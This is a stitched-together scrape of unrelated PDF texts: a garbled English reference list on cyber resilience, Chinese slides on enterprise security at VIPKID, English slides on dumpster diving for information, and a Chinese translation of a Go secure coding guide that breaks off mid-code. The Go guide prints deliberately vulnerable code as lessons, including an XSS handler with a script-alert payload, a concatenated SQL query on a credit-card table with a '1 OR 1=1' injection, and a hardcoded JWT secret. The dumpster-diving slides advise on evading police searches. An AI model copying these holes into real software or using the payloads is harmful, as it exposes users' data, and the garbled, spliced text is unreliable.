[10]!hDps://www.axelos.com/best-prac2ce-solu2ons/resilia! •  [11]!hDps://blogs.microsop.com/cybertrust/2016/02/11/working-to-increase-the- cyber-resilience-of-ci2es-around-the-globe/! •  [12]!hDp://www2.mitre.org/public/industry-perspec2ve/index.html! •  [13]!hDp://www2.mitre.org/public/industry-perspec2ve/guidance-execu2ves.html! •  [14]!hDp://www2.mitre.org/public/industry-perspec2ve/guidance-architects.html! •  [15]!hDp://www2.mitre.org/public/industry-perspec2ve/slicksheets/ disrup2ng_the_aDack_surface.html! •  [16]!hDp://csrc.nist.gov/publica2ons/draps/800-160/sp800_160_drap.pdf! •  [17]!hDp://nvlpubs.nist.gov/nistpubs/SpecialPublica2ons/NIST.SP.800-53r4.pdf! •  [18]hDp://www.lockheedmar2n.com/content/dam/lockheed/data/corporate/ documents/LM-White-Paper-Intel-Driven-Defense.pdf! •  [19]!hDp://mena.boozallen.com/content/dam/MENA/PDF/resilience-in-the-cyber- era.pdf! •  [20]!hDps://www.hexiscyber.com/news/hot-topics/pt-2-integra2on-automa2on- key-achieving-cyber-resilience!
pdf
互联网企业安全建设实践 北京站/3.29 靳晓飞 VIPKID安全中心 从这里说起 互联网企业安全建设整体思路 互联网企业面临安全挑战分析 互联网企业核心安全目标 互联网企业核心安全能力建设与提升 互联网企业整体安全视角 互联网企业基础安全体系建设框架 互联网企业安全建设蓝图 互联网企业安全建设如何落地实施 分阶段安全体系建设 如何评价企业安全建设的效果 基础安全全链路纵深防御架构 API 安全监控实践 需要对哪些API进行安全监控? • 注册接口 • 登录接口 • 找回密码接口 • 订单详情接口 • 收货地址接口 • 其他所有可能会被刷的API 安全监控目标设定 • 具备对高风险API被刷的分钟级主动发 现和感知能力,并可与安全防御系统 联动,实现自动化安全防护 技术上如何实现 • 流量分析 • 日志分析 API 安全监控实践 API 安全监控实践 Github安全监控实践 Github安全监控实践 项目地址:https://github.com/VKSRC/Github-Monitor 做好企业安全建设的必要条件 写在最后 “未知攻,焉知防”,网络攻防对抗本质上是人与人之间的较量,在安全建 设和安全运营过程中企业安全人员不能仅限于被动防御,还需要积极转变思 路,以攻击者视角来看待和审视安全风险,做到攻防兼备,化被动为主动。 Thanks
pdf
• What is it? • Why do it? • Who does it? • Dark Clothing - Black. - Dark Blue. • No Flashy Logos - Nothing that will single you out. - Nothing Large. - If you must have logos, support your police. • Footwear - Thick Soles. - Hiking Boots. - Combat Boots. - Dr. Marten Style. • Disposable - Old clothes. - Thick Pants. - What’s Disposable? Stuff you wouldn’t mind getting puke on. • Flashlights - Mag-Lite. - Military Style. - Compact. - Headlamps? • Trunk Space • A Duffle Bag • A Large Stick • Cardboard Boxes • Common Sense • Leave it as it was. • Don’t make a mess. • Keep your flashlight _below the rim. • Use handles when _possible. • Don’t just dive in. • Going Solo? • Do Not Run!!! • Apologize for making _them stop. • Talk to them. • Do not allow them to _search your car. • What to say… "I Know my Civil Liberties, and I don't believe I have done anything wrong, therefore I don't think it is necessary“ -- John Hoffman; The Art and Science of Dumpster Diving • Computer Repair Shops • Electronics Stores • Car Audio Shops • Cellular Suppliers • Satellite Stores • Flower Shops • Book Stores • Business Complexes • Industrial Areas • Often Overlooked. / Rarely Shredded. • Easy to See. • Account Names and Passwords, Phone Numbers, Meetings, Important Dates. • Riding the Fine Line • Identity Theft • Industrial Espionage • What can you do about it? • Benefits of Shredding • Shredding Services • Wipe All Magnetic Media • Security Policies
pdf
英⽂文地址 翻译:blood_zer0、Lingfighting 如果翻译的有问题:联系我(Lzero2012)。匆忙翻译肯定会有很多错误,欢迎⼤大家⼀一起讨论Go语⾔言安全能⼒力力建设。 Go语⾔言-Web应⽤用程序安全编码实践是为了了给任何使⽤用Go进⾏行行编程与Web开发的⼈人员提供指导。 这本书是Checkmarx安全研究团队共同努⼒力力的结晶,它遵循OWASP安全编码实践快速参考指南。 这本书主要的⽬目的是为了了帮助开发⼈人员避免常⻅见错误,同时通过"实践⽅方法"学习编程语⾔言⼼心得。本书提供了了关于"如何安全执⾏行行"详细信息,展示了了在 开发过程中可能出现的安全问题。 Checkmarx是⼀一家应⽤用程序软件安全公司,公司使命是为企业组织提供应⽤用程序安全测试产品与服务,提⾼高开发⼈人员交付安全应⽤用程序。拥有1000 家客服包括全球⼗十⼤大软件供应商中的物价,美国顶级银⾏行行中的四家,以及许多财富500强和政府机构,包括SAP、三星和Salesforce.com 关于Checkmarx的更更多信息,可以访问checkmarx.com或者关注我们的twitter:@checkmarx "安全编程实践快速参考指南"是OWASP开源Web安全项⽬目。它是⼀一种"技术⽆无关的通⽤用软件安全编程实践集,采⽤用全⾯面的列列表格式,可以集成到开发 ⽣生命周期中" OWASP本身是"⼀一个开放的社区,致⼒力力于使组织能够构思、开发、获取、操作和维护可信任的应⽤用程序。所有的OWASP⼯工具、⽂文档、论坛和章节都 是免费的,并且对任何有兴趣提⾼高应⽤用程序安全性的⼈人开放。" 在Web应⽤用程序安全性中,如果未对⽤用户输⼊入及相关数据进⾏行行验证则会存在安全⻛风险。我们通过"输⼊入验证"与"输出处理理"技术来解决这些问题。根据 服务器器的功能,应在应⽤用程序的每个层中执⾏行行这些验证。重要的⼀一点是,所有数据验证程序必须在可信系统上(即在服务器器上)完成。 如"OWASP SCP快速参考指南"中所述,有16个要点涵盖了了开发⼈人员在处理理输⼊入验证时应注意的问题。在开发应⽤用程序时缺乏对这些安全⻛风险的考虑 是注⼊入"OWASP Top 10"中排名第⼀一的主要原因之⼀一。 ⽤用户交互是Web应⽤用程序当前开发范例例的主要内容。随着Web应⽤用程序内容和可能性越来越丰富,⽤用户交互和提交的⽤用户数据也会增加。正是在这种 背景下,输⼊入验证起着重要作⽤用。 当应⽤用程序处理理⽤用户数据时,默认情况下提交的数据必须被视为不不安全,并且只有在进⾏行行了了适当的安全检查后才能接受。还必须将数据源标识为受信 任或不不受信任,并且在不不受信任的源的情况下,必须进⾏行行验证检查。 在验证检查中,根据⼀一组条件检查⽤用户输⼊入,以保证⽤用户确实输⼊入了了预期数据。 重要信息:如果验证失败,则必须拒绝输⼊入。 这不不仅从安全⻆角度⽽而且从数据⼀一致性和完整性的⻆角度来看很重要,因为数据通常⽤用于各种系统和应⽤用程序。 本⽂文列列出了了开发⼈人员在Go中开发Web应⽤用程序时应注意的安全⻛风险。 Go语⾔言安全编码规范-翻译 介绍 关于Checkmarx 关于OWASP安全编程实践 输⼊入验证 验证 ⽤用户交互 bloodzer0&Lingfighting 允许⽤用户输⼊入的应⽤用程序的任何部分都存在潜在的安全⻛风险。 问题不不仅可能来⾃自寻求危害应⽤用程序的⽅方法,也可能来⾃自⼈人为错误导致的错误输⼊入 (统计上,⼤大多数⽆无效数据情况通常是由⼈人为错误引起的)。 在Go中,有⼏几种⽅方法可以防⽌止此类问题。 Go具有本机库,其中包括有助于确保不不会发⽣生此类错误的⽅方法。 在处理理字符串串时,我们可以使⽤用类似以下示例例的包: strconv 包处理理到其他数据类型的字符串串转换。 Atoi ParseBool ParseFloat ParseInt strings 包包含处理理字符串串及其属性的所有函数。 Trim ToLower ToTitle regexp 包⽀支持正则表达式以适应⾃自定义格式。 utf8 包实现函数和常量量以⽀支持以UTF-8编码的⽂文本。它包括在runes和utf-8字节序列列之间转换的函数。 Valid(验证UTF-8编码) ValidRune(验证UTF-8编码) ValidString(验证UTF-8编码) EncodeRune(UTF-8编码) DecodeLastRune(UTF-8解码) DecodeLastRuneInString(UTF-8解码) 注意:Form被go视为字符串串值的映射。 确保数据有效性的其他技术包括: ⽩白名单-尽可能根据允许的字符⽩白名单验证输⼊入。请参⻅见Validation - Strip tags。 边界检查-应验证数据和数字⻓长度。 字符转义-⽤用于特殊字符,如独⽴立引号。 数字验证-如果输⼊入是数字。 检查空字节-(%00) 检查新⾏行行字符-%0d,%0a,\r\n 检查路路径更更改字符-../或\.. 检查扩展的UTF-8-检查特殊字符的可选表示形式 注意:确保HTTP请求和响应头只包含ASCII字符。 存在处理理go中安全性的第三⽅方软件包: Gorilla是Web应⽤用程序安全性最常⽤用的包之⼀一。它⽀支持websockets、cookie会话、rpc等。 Form 将url.values解码为go值,并将go值编码为url.values。Dual Array和Full map⽀支持。 Validator 进⾏行行Go 结构体和字段验证,包括跨字段、跨结构体、映射以及切⽚片和数组。 当需要使⽤用⽂文件时(read或write⽂文件)也应该进⾏行行验证,因为⼤大多数⽂文件操作操作都处理理⽤用户数据。 其他⽂文件检查过程包括"⽂文件存在性检查",以验证⽂文件名是否存在。 附加⽂文件信息在⽂文件管理理部分,有关错误处理理的信息可以在⽂文档的错误处理理部分找到。 当数据从受信任的源传递到不不受信任的源时,应进⾏行行完整性检查。这保证了了数据没有被篡改,我们正在接收预期的数据。其他数据源检查包括: ⽂文件操作 数据源 bloodzer0&Lingfighting 跨系统⼀一致性检查 Hash统计 参照完整性 注意:在现代关系数据库中,如果主键字段中的值不不受数据库内部机制的约束,那么应该对它们进⾏行行验证: 唯⼀一性检查 表查询检查 根据数据验证的最佳实践,输⼊入验证只是数据验证指南的第⼀一部分。因此,还应执⾏行行验证后操作。使⽤用的验证后操作因上下⽂文⽽而异,分为三类: 强制执⾏行行:为了了更更好地保证我们的应⽤用和数据,存在着⼏几种执⾏行行类型。 通知⽤用户提交的数据不不符合要求,因此应修改数据以符合要求。 在服务器器端修改⽤用户提交的数据,⽽而不不通知⽤用户所做的更更改,这最适⽤用于具有交互使⽤用的系统。 注意:后者主要⽤用于外观更更改(修改⽤用户敏敏感数据可能导致截断等问题,从⽽而导致数据丢失)。 咨询:建议操作通常允许输⼊入不不变的数据,但消息来源参与者被告知所述数据存在问题。这最适⽤用于⾮非交互式系统。 验证:验证是指建议操作中的特殊情况。在这些情况下,⽤用户提交数据,源参与者要求⽤用户验证所述数据并建议更更改。然后,⽤用户接受这些更更改 或保留留其原始输⼊入。 ⼀一个简单的⽅方法来说明这是⼀一个账单地址表单,⽤用户输⼊入他的地址,系统建议与帐户相关的地址。然后,⽤用户接受其中⼀一个建议或发送到最初输⼊入的 地址。 处理理是指删除或替换提交的数据的过程。在处理理数据时,在进⾏行行了了正确的验证检查之后,通常会采取⼀一个额外的步骤来加强数据安全性,即处理理。 最常⽤用的处理理⽅方法如下: 在本机包HTML中,有两个⽤用于清理理的函数:⼀一个⽤用于转义HTML⽂文本,另⼀一个⽤用于取消转义HTML。函数 escapeString() 接受⼀一个字符串串并返 回带有特殊转义字符的相同字符串串。即,<变为&lt;。请注意,此函数只转义以下五个字符:<、>、&、'和'。相反,还有 unescapeString() 函 数可以从实体转换为字符。 虽然 html/template 包有 striptags() 函数,但它是未导出的。由于没有其他本机包具有去除所有标记的功能,因此可以选择使⽤用第三⽅方 库,或者复制整个函数以及它的私有类和函数。 ⼀一些第三⽅方库可以实现这⼀一点: https://github.com/kennygrant/sanitize https://github.com/maxwells/sanitize https://github.com/microcosm-cc/bluemonday text/template 和 html/template 包括⼀一种从模板中删除空⽩白的⽅方法,⽅方法是在操作的分隔符内使⽤用减号。 使⽤用源代码执⾏行行模板 {{- 23}} < {{45 -}} 将导致以下输出 POST验证操作 处理理 将⼩小于字符的单个字符转化为实体 删除所有标签 删除换⾏行行符、制表符和多余的空格 bloodzer0&Lingfighting 23<45 注意:如果减号不不在开始动作分隔符{{之后或结束动作分隔符之前}},减号-将应⽤用于该值。 模板源 {{ -3 }} 输出 -3 在 net/http 包中有⼀一个称为 ServeMux 的HTTP请求多路路复⽤用器器类型。它⽤用于将传⼊入请求与注册模式匹配,并调⽤用与请求的URL最匹配的处理理 程序。除了了主要⽬目的外,它还负责清理理URL请求路路径,重定向包含的任何请求。.或..元素或重复斜杠到⼀一个等效的、更更清晰的URL。 ⼀一个简单的Mux示例例说明: func main() { mux := http.NewServeMux() rh := http.RedirectHandler("http://yourDomain.org", 307) mux.Handle("/login", rh) log.Println("Listening...") http.ListenAndServe(":3000", mux) } 注意:请记住, ServeMux 不不会更更改connect请求的URL请求路路径,因此,如果不不限制允许的请求⽅方法,可能会使应⽤用程序容易易受到路路径遍历攻 击。 第三⽅方软件包: Gorilla Toolkit - MUX 虽然在OWASP SCP快速参考指南中只有6个项⽬目符号部分,但是在Web应⽤用程序开发中,输出编码的错误做法⾮非常普遍,因此导致了了第⼀一⼤大漏漏洞洞: 注⼊入。 随着Web应⽤用程序变得复杂和丰富,它们拥有的数据源越多:⽤用户、数据库、三⼗十⽅方服务等。在某个时间点,收集到的数据被输出到具有特定上下⽂文 的某些媒体(如Web浏览器器)。如果没有强的输出编码策略略,则正好发⽣生注⼊入。 当然,您已经听说了了我们将在本节中讨论的所有安全问题,但是您真的知道这些问题是如何发⽣生的和/或如何避免的吗? ⼤大多数开发⼈人员都听说过,但⼤大多数⼈人从未尝试过使⽤用XSS开发Web应⽤用程序。 ⾃自2003年年以来,跨站点脚本⼀一直位于OWASP的前10位,它仍然是⼀一个常⻅见的漏漏洞洞。2013年年的版本⾮非常详细地介绍了了XSS:攻击向量量、安全弱点、 技术影响和业务影响。 简⽽而⾔言之 如果不不确保所有⽤用户提供的输⼊入都被正确转义,或者在将该输⼊入包含到输出⻚页之前,不不通过服务器器端输⼊入验证来验证其安全性,那么您将很容 易易受到攻击。(source) Go,就像其他多⽤用途编程语⾔言⼀一样,尽管⽂文档中明确说明了了如何使⽤用 html/template 包,但它拥有所有需要处理理的东⻄西,并使您容易易受到XSS 的攻击。很容易易找到使⽤用net/http和io包的"hello world"示例例,在不不了了解它的情况下,您很容易易受到XSS的攻击。 URL请求路路径 输出编码 XSS跨站脚本 bloodzer0&Lingfighting 代码: package main import "net/http" import "io" func handler (w http.ResponseWriter, r *http.Request) { io.WriteString(w, r.URL.Query().Get("param1")) } func main () { http.HandleFunc("/", handler) http.ListenAndServe(":8080", nil) } 此代码段创建并启动⼀一个HTTP服务器器,侦听端⼝口8080(main()),处理理服务器器根⽬目录(/)上的请求。 处理理请求的handler()函数需要⼀一个查询字符串串参数 param1 ,然后将其值写⼊入响应流(w)。 由于 Content-Type HTTP响应头,将使⽤用go http.detectcontenttype默认值,该值遵循WhatWG规范。 因此,使 param1 等于"test",将导致 Content-Type HTTP响应头以text/plain格式发送。 但如果 param1 的第⼀一个字符是 <h1> ,则 Content-Type 将是text/html。 bloodzer0&Lingfighting 您可能认为,使 param1 等于任何HTML标记都会导致相同的⾏行行为,但它不不会:使 param1 等于 <h2> 、 <span> 或 <form> 将 使 Content-Type 以plain/text形式发送,⽽而不不是以预期的text/html形式发送。 现在,让我们使 param1 等于 <script>alert(1)</script> 根据whatwg-spec,内容类型http-response-header将以⽂文本/html形式发送,将呈现param1值,并…这⾥里里是XSS跨站点脚本。 在与⾕谷歌讨论了了这⼀一情况后,他们告诉我们: 它实际上⾮非常⽅方便便,旨在能够打印HTML并⾃自动设置内容类型。我们希望程序员将使⽤用HTML/模板进⾏行行适当的转义。 bloodzer0&Lingfighting ⾕谷歌声明开发⼈人员负责清理理和保护他们的代码。我们完全同意,但是在安全性是优先考虑的语⾔言中,除了了默认的text/plain之外,允许⾃自动设 置 Content-Type 并不不是最好的⽅方式。 让我们澄清⼀一下: text/plain 和/或 text/template 包不不会让您远离XSS,因为它不不会清理理⽤用户输⼊入。 package main import "net/http" import "text/template" func handler(w http.ResponseWriter, r *http.Request) { param1 := r.URL.Query().Get("param1") tmpl := template.New("hello") tmpl, _ = tmpl.Parse(`{{define "T"}}{{.}}{{end}}`) tmpl.ExecuteTemplate(w, "T", param1) } func main() { http.HandleFunc("/", handler) http.ListenAndServe(":8080", nil) } 使 param1 等于 <h1> 将导致内容类型作为text/html发送,这使您容易易受到XSS的攻击。 将text/template包替换为html/template包,您就可以安全地继续了了。 bloodzer0&Lingfighting package main import "net/http" import "html/template" func handler(w http.ResponseWriter, r *http.Request) { param1 := r.URL.Query().Get("param1") tmpl := template.New("hello") tmpl, _ = tmpl.Parse(`{{define "T"}}{{.}}{{end}}`) tmpl.ExecuteTemplate(w, "T", param1) } func main() { http.HandleFunc("/", handler) http.ListenAndServe(":8080", nil) } 当param1等于 <h1> 时,不不仅 Content-Type HTTP响应头将以text/plain格式发送。 但是, param1也 被正确编码到输出媒体:浏览器器。 bloodzer0&Lingfighting 由于缺乏正确的输出编码,另⼀一个常⻅见的注⼊入是SQL注⼊入,这主要是由于⼀一个旧的错误做法:字符串串串串联。 简⽽而⾔言之:只要将包含任意字符(例例如对数据库管理理系统有特殊意义的字符)的值的变量量简单地添加到(部分)SQL查询中,就容易易受到SQL注⼊入的 攻击。 假设您有如下查询: ctx := context.Background() customerId := r.URL.Query().Get("id") query := "SELECT number, expireDate, cvv FROM creditcards WHERE customerId = " + customerId row, _ := db.QueryContext(ctx, query) 你将毁了了它。 当提供有效的customerId时,您将只列列出该客户的信⽤用卡,但如果customerId变为1或1=1会怎么样? 您的查询将如下所示: SELECT number, expireDate, cvv FROM creditcards WHERE customerId = 1 OR 1=1 您将转储所有表记录(是的,任何记录的1=1都是真的)! 只有⼀一种⽅方法可以保证数据库的安全:Prepared Statements。 ctx := context.Background() customerId := r.URL.Query().Get("id") query := "SELECT number, expireDate, cvv FROM creditcards WHERE customerId = ?" stmt, _ := db.QueryContext(ctx, query, customerId) 注意到占位符了了?以及您的查询⽅方式: SQL注⼊入 bloodzer0&Lingfighting 可读性强 较短 安全的 准备好的语句句中的占位符语法是特定于数据库的。例例如,⽐比较mysql、postgresql和oracle: MySQL PostgreSQL Oracle WHERE col = ? WHERE col = $1 WHERE col = :col VALUES(?, ?, ?) VALUES($1, $2, $3) VALUES(:val1, :val2, :val3) 检查本指南中的"数据库安全性"部分,以获取有关此主题的详细信息。 OWASP安全编码实践是⼀一个便便利利的⽂文档,可以帮助开发⼈人员验证在项⽬目实现期间是否遵循了了所有的最佳实践。身份验证和密码管理理是任何系统的关 键部分,从⽤用户注册到凭证存储、密码重置和个⼈人资源访问都有详细介绍。 为了了更更深⼊入的细节,可以对⼀一些指导原则进⾏行行分组。这⾥里里源代码示例例来说明。 让我们从经验规则开始:"所有身份验证控制都必须在受信任的系统上强制执⾏行行",通常是运⾏行行应⽤用程序后端的服务器器。 为了了系统的简单性和减少故障点,您应该使⽤用标准的和经过测试的认证服务:通常框架拥有这样的模块,并且有许多⼈人开发、维护和使⽤用它们,我们 ⿎鼓励您使⽤用它们作为⼀一种集中的认证机制。不不过,您应该"仔细检查代码以确保它不不受任何恶意代码的影响",并确保它遵循最佳实践。 身份验证的过程不不应该是资源⾃自身来执⾏行行它,相反,应该使⽤用"从集中式身份验证控件重定向"。⼩小⼼心处理理重定向:您应该只重定向到本地和/或安全资 源。 当认证需要"连接到涉及敏敏感信息或功能的外部系统"时,它不不仅应该由应⽤用程序的⽤用户使⽤用,⽽而且还应该由您⾃自⼰己的应⽤用程序使⽤用。在这种情况 下,"访问应⽤用程序外部服务的身份验证凭据应加密并存储在受信任系统(如服务器器)上的受保护位置。存储在代码中不不是安全的位置"。 在本节中,"通信"在更更⼴广泛的意义上使⽤用,包括⽤用户体验(UX)和CS通信。 不不仅"密码输⼊入应在⽤用户屏幕上隐藏",⽽而且"记住我"功能应禁⽤用。 您可以使⽤用输⼊入字段type="password"并将autocomplete属性设置为off来完成这两项⼯工作。 <input type="password" name="passwd" autocomplete="off" /> 身份验证凭据只能在HTTP POST请求上使⽤用加密连接(HTTPS)发送。加密连接的例例外可能是电⼦子邮件重置相关联的临时密码。 虽然通过tls/ssl(https)的HTTP GET请求看起来和HTTP POST请求⼀一样安全,但⼀一般情况下,HTTP服务器器(如apache2、nginx)会将请求的URL 写⼊入访问⽇日志。 xxx.xxx.xxx.xxx - - [27/Feb/2017:01:55:09 +0000] "GET /?username=user&password=70pS3cure/oassw0rd HTTP/1.1" 200 23 5 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0" 前端代码如下: 认证与密码管理理 认证与密码管理理 经验规则 身份验证数据通信 bloodzer0&Lingfighting <form method="post" action="https://somedomain.com/user/signin" autocomplete="off"> <input type="hidden" name="csrf" value="CSRF-TOKEN" /> <label>Username <input type="text" name="username" /></label> <label>Password <input type="password" name="password" /></label> <input type="submit" value="Submit" /> </form> 在处理理身份验证错误时,应⽤用程序不不应公开身份验证数据的哪⼀一部分不不正确。不不要使⽤用"⽆无效⽤用户名"或"⽆无效密码",只需交替使⽤用"⽆无效⽤用户名和/或密 码": <form method="post" action="https://somedomain.com/user/signin" autocomplete="off"> <input type="hidden" name="csrf" value="CSRF-TOKEN" /> <div class="error"> <p>Invalid username and/or password</p> </div> <label>Username <input type="text" name="username" /></label> <label>Password <input type="password" name="password" /></label> <input type="submit" value="Submit" /> </form> 对于⼀一般性信息,您不不披露露: 注册⼈人:"⽆无效密码"表示⽤用户名存在。 系统的⼯工作⽅方式:"⽆无效密码"可能会显示应⽤用程序的⼯工作⽅方式,⾸首先查询数据库中的⽤用户名,然后⽐比较内存中的密码。 验证和存储部分提供了了如何执⾏行行验证数据验证(和存储)的示例例。 成功登录后,应通知⽤用户上次成功或不不成功的访问⽇日期/时间,以便便⽤用户能够检测和报告可疑活动。有关⽇日志记录的更更多信息可以在⽂文档的错误处理理 和⽇日志记录中找到。此外,为了了防⽌止攻击,建议在检查密码时使⽤用恒定时间⽐比较功能,包括分析具有不不同输⼊入的多个请求之间的时间差。在这种情况 下,表单record==password⽐比较不不匹配的第⼀一个字符处将会返回false,提交的密码时间越近,响应时间越⻓长。通过利利⽤用这个漏漏洞洞,攻击者可以猜测 密码。请注意,即使记录不不存在,我们也总是强制执⾏行行带有空值的subtle.ConstantTimeCompare以便便与⽤用户输⼊入进⾏行行⽐比较。 本节的关键主题是身份验证数据存储,因为⽤用户帐户数据库经常在Internet上泄漏漏,这是不不可取的。当然,这并不不能保证发⽣生,但在这种情况下,如 果正确存储身份验证数据,特别是密码,就可以避免附带的损害。 ⾸首先,让我们明确“所有认证控制都应该安全失败”。建议您阅读所有其他身份验证和密码管理理部分,因为它们包括有关报告错误身份验证数据和如何 处理理⽇日志记录的建议。 另⼀一个初步建议是:对于顺序认证的实现(像Google现在做的那样),验证应该只在所有数据输⼊入完成后,在可信系统(如服务器器)上进⾏行行。 验证与存储 验证 安全存储密码理理论 bloodzer0&Lingfighting package main import ( "crypto/rand" "crypto/sha256" "database/sql" "context" "fmt" ) const saltSize = 32 func main() { ctx := context.Background() email := []byte("[email protected]") password := []byte("47;u5:B(95m72;Xq") // create random word salt := make([]byte, saltSize) _, err := rand.Read(salt) if err != nil { panic(err) } // let's create SHA256(password+salt) hash := sha256.New() hash.Write(password) hash.Write(salt) // this is here just for demo purposes // // fmt.Printf("email : %s\n", string(email)) // fmt.Printf("password: %s\n", string(password)) // fmt.Printf("salt : %x\n", salt) // fmt.Printf("hash : %x\n", hash.Sum(nil)) // you're supposed to have a database connection stmt, err := db.PrepareContext(ctx, "INSERT INTO accounts SET hash=?, salt=?, email=?") if err != nil { panic(err) } result, err := stmt.ExecContext(ctx, email, h, salt) if err != nil { panic(err) } } 然⽽而,这种⽅方法有⼏几个缺陷,不不应该使⽤用。本⽂文仅⽤用⼀一个实例例来说明这⼀一理理论。下⼀一节将解释如何在现实⽣生活中正确设置密码。 下⾯面的示例例演示如何使⽤用bcrypt,这对于⼤大多数情况都是⾜足够好的。BCRYPT的优点是使⽤用起来更更简单,因此不不易易出错。 安全存储密码实践 bloodzer0&Lingfighting package main import ( "database/sql" "context" "fmt" "golang.org/x/crypto/bcrypt" ) func main() { ctx := context.Background() email := []byte("[email protected]") password := []byte("47;u5:B(95m72;Xq") // Hash the password with bcrypt hashedPassword, err := bcrypt.GenerateFromPassword(password, bcrypt.DefaultCost) if err != nil { panic(err) } // this is here just for demo purposes // // fmt.Printf("email : %s\n", string(email)) // fmt.Printf("password : %s\n", string(password)) // fmt.Printf("hashed password: %x\n", hashedPassword) // you're supposed to have a database connection stmt, err := db.PrepareContext(ctx, "INSERT INTO accounts SET hash=?, email=?") if err != nil { panic(err) } result, err := stmt.ExecContext(ctx, hashedPassword, email) if err != nil { panic(err) } } bcrypt还提供了了⼀一种简单⽽而安全的⽅方法来⽐比较明⽂文密码和已经散列列的密码: bloodzer0&Lingfighting ctx := context.Background() // credentials to validate email := []byte("[email protected]") password := []byte("47;u5:B(95m72;Xq") // fetch the hashed password corresponding to the provided email record := db.QueryRowContext(ctx, "SELECT hash FROM accounts WHERE email = ? LIMIT 1", email) var expectedPassword string if err := record.Scan(&expectedPassword); err != nil { // user does not exist // this should be logged (see Error Handling and Logging) but execution // should continue } if bcrypt.CompareHashAndPassword(password, []byte(expectedPassword)) != nil { // passwords do not match // passwords mismatch should be logged (see Error Handling and Logging) // error should be returned so that a GENERIC message "Sign-in attempt has // failed, please check your credentials" can be shown to the user. } 密码是⼀一种历史资产,是⼤大多数认证系统的⼀一部分,也是攻击者的头号⽬目标。 很多时候⼀一些服务会泄露露⽤用户的信息,尽管电⼦子邮件地址和其他个⼈人数据也泄露露了了,但最⼤大的问题是密码。为什什么?因为密码不不容易易管理理和记忆,⽤用 户倾向于使⽤用弱密码(例例如“123456”)他们可以很容易易记住,也可以在不不同的服务中使⽤用相同的密码。 如果您的应⽤用程序登录需要密码,您可以做的最好的事情是"强制执⾏行行密码复杂性要求,要求使⽤用字⺟母以及数字和/或特殊字符"。密码⻓长度也应该强制 要求:"通常使⽤用8个字符,但16个字符更更好,或者考虑使⽤用多个单词的密码短语"。 当然,前⾯面的指导原则都不不会阻⽌止⽤用户重新使⽤用相同的密码。最好的办法是"强制更更改密码",防⽌止密码重复使⽤用。关键系统可能需要更更频繁的更更改, 必须对重置之间的时间进⾏行行管理理控制”。 即使您没有应⽤用任何额外的密码策略略,⽤用户仍然需要能够重置他们的密码。这种机制与注册或登录⼀一样重要,我们⿎鼓励您遵循最佳实践,确保您的系 统不不会泄露露敏敏感数据,也不不会受到危害。 "密码更更改时间不不能少于1天"。这样可以防⽌止对密码重复使⽤用的攻击。每当使⽤用"基于电⼦子邮件的重置,只发送电⼦子邮件到预先注册的地址与临时链接/ 密码",这个链接应该有⼀一个很短的到期时间。 每当请求密码重置时应通知⽤用户。同样临时密码也应该在下次使⽤用时更更改。 密码重置的⼀一个常⻅见做法是"安全问题",其答案以前是由帐户所有者配置的。密码重置问题应⽀支持⾜足够的随机答案:询问"最喜爱的书"?可能答案总 会是"圣经",这使得这个安全问题成为⼀一个坏问题。 身份验证是任何系统的关键部分,因此您应该始终采⽤用正确和安全的做法。以下是使您的认证系统更更具弹性的⼀一些指导原则: 在执⾏行行关键操作之前重新验证⽤用户身份; 对⾼高度敏敏感或⾼高价值交易易帐户使⽤用多因素身份验证; 利利⽤用相同的密码,实施监控以识别针对多个⽤用户帐户的攻击。当⽤用户ID可以被获取或猜测时,这种攻击模式⽤用于绕过标准锁定; 更更改供应商提供的所有默认密码和⽤用户ID或禁⽤用关联帐户; 在已确定的⽆无效登录尝试次数(例例如:五次尝试是常⻅见的)后强制禁⽤用帐户。必须禁⽤用该帐户⼀一段时间,这段时间必须⾜足以阻⽌止对凭据的野蛮猜 密码策略略 重置 其它指南 bloodzer0&Lingfighting 测,但不不能⻓长到允许执⾏行行拒绝服务攻击。 在本节中,我们会根据OWASP安全编码实践来介绍会话管理理的重要内容。提供了了⼀一个示例例以及实践原理理概述。除此之外,还有⼀一个包含完整程序代 码的⽂文件夹。会话进程如图所示: 在处理理会话管理理时,应⽤用程序应该只识别服务器器中的会话管理理控件,并在在受信任的系统上创建会话。在提供的代码示例例中,我们的应⽤用程序使⽤用 JWT⽣生成⼀一个会话,代码如下: // create a JWT and put in the clients cookie func setToken(res http.ResponseWriter, req *http.Request) { ... } 我们必须确保⽤用于⽣生成会话标识符的算法是⾜足够随机的,以防⽌止会话被暴暴⼒力力破解,代码如下: ... token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) signedToken, _ := token.SignedString([]byte("secret")) //our secret ... 既然⼜又了了⾜足够强的令牌,我们必须给cookie设置 Domain 、 Path 、 Expires 、 HTTPOnly 、 Secure 等参数。通常情况下,我们把 Expires值设置为30分钟以此来降低应⽤用程序⻛风险。 // Our cookie parameter cookie := http.Cookie{ Name: "Auth", Value: signedToken, Expires: expireCookie, HttpOnly: true, Path: "/", Domain: "127.0.0.1", Secure: true } http.SetCookie(res, &cookie) //Set the cookie 每次成功登录后都会⽣生成新的会话,历史会话将不不会被重新使⽤用,即使它没有过期。我们还可以使⽤用Expire参数强制定期终⽌止会话,以防⽌止会话劫 持。Cookie的另外⼀一个重要因素是不不允许同⼀一⽤用户同时登录,这可以通过保存登录⽤用户列列表完成,将新的登录⽤用户名与列列表进⾏行行对⽐比,登录⽤用户列列表 通常保存在数据库中。 会话标识符不不允许存储在URL中,仅允许保存在HTTP Cookie头中。⼀一个不不好的列列⼦子就是使⽤用GET传递会话标识符参数。会话数据还必须受到保护, 以防服务器器的其它⽤用户未经授权直接访问。 HTTP改为HTTPS,防⽌止⽹网络嗅探会话的MITM攻击。最佳实践是在所有的请求中使⽤用HTTPS,代码如下: Session管理理 bloodzer0&Lingfighting err := http.ListenAndServeTLS(":443", "cert/cert.pem", "cert/key.pem", nil) if err != nil { log.Fatal("ListenAndServe: ", err) } 在⾼高敏敏感或关键操作的请求中,应该为每个请求⽽而不不是每个会话⽣生成令牌。始终确保令牌的随机性,并且⾜足有⾜足够的安全⻓长度防⽌止暴暴⼒力力破解。 在会话管理理中要考虑的最后⼀一个⽅方⾯面是注销功能。应⽤用程序应该提供⼀一个从所有需要身份验证的⻚页⾯面注销的⽅方法,并完全终⽌止关联的会话和链接。示 例例中,当⽤用户注销时,cookie需要从客户端删除,也需要从服务端删除。 ... cookie, err := req.Cookie("Auth") //Our auth token if err != nil { res.Header().Set("Content-Type", "text/html") fmt.Fprint(res, "Unauthorized - Please login <br>") 